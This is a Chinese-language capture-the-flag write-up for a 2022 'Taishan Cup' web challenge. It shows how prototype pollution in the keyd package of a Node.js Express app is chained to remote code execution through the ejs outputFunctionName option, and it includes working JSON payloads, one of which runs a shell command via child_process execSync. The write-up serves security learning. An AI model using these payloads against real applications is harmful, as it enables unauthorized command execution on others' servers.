先来个铺垫, 看完这个应该也不用往下看了: Express+lodash+ejs: 从原型链污染到RCE
题目背景是2022年"泰山杯"的一道Web题, 题目附件里直接是Nodejs的源码, 附件 app.zip
根据本菜狗的经验而言, "NodeJS原型链污染"漏洞的直接影响是破坏了程序中的变量, 进而影响程序的逻辑走向. 而如果可以在层层的函数调用栈中找到特定的程序代码, 例如SQL执行/代码执行/命令执行等, 配合恶意破坏的变量环境则可以实现更多的攻击效果.
所以说, 为了实现RCE, 不光要找到一个可以进行原型链污染的点, 还得找到一个可以利用特定变量实现代码执行的点. 一个常见的点就是ejs引擎的outputFunctionName
选项.
结合本题, 来实操一下利用nodejs原型链污染实现RCE.
首先, 一个很有用的命令npm audit
, 可以查询当前依赖库中的漏洞情况. 不过本菜狗亲测发现使用的镜像源竟然还不支持这个.....
上图显示ejs存在模板注入, 但是竟然没有检测出keyd存在的原型链污染漏洞. 使用关键词npm keyd vulnerabilitiy在谷歌搜索可以发现这个包其实是存在原型链污染漏洞的: Node.js third-party modules: keyd Prototype pollution - bugbounty database
不过面对离线的"泰山杯"竞赛环境上述方法就行不通了, 那就试试源码审计吧. 在app.js中定位到这么几行代码: line 40 to line 42
keyd(nowuser).set(mood, happened)
req.session.mood = mood
req.session.happened = nowuser[mood]
有理由怀疑keyd(nowuser).set(mood, happened)
这个地方是将变量mood
解析成path并挂载给nowuser
, 同时将值设置为happened
.
那么可以在题目页面上试一试, 设置mood
为__proto__
/prototype
/constructor
等等成员试一试, 发现输入__proto__
时发生了:
很惊喜, what happened? [object Object]!!!. 明显是存在原型链污染的漏洞. 接下来试一试代码执行喽. payload:
{
"mood":"__proto__.__proto__.outputFunctionName",
"happened":"a; return 1+1+'abcdef';//"
}
访问/home, 效果:
很惊喜, 接下来就可以命令执行了:
{
"mood":"__proto__.__proto__.outputFunctionName",
"happened":"a; return global.process.mainModule.constructor._load('child_process').execSync('whoami').toString();//"
}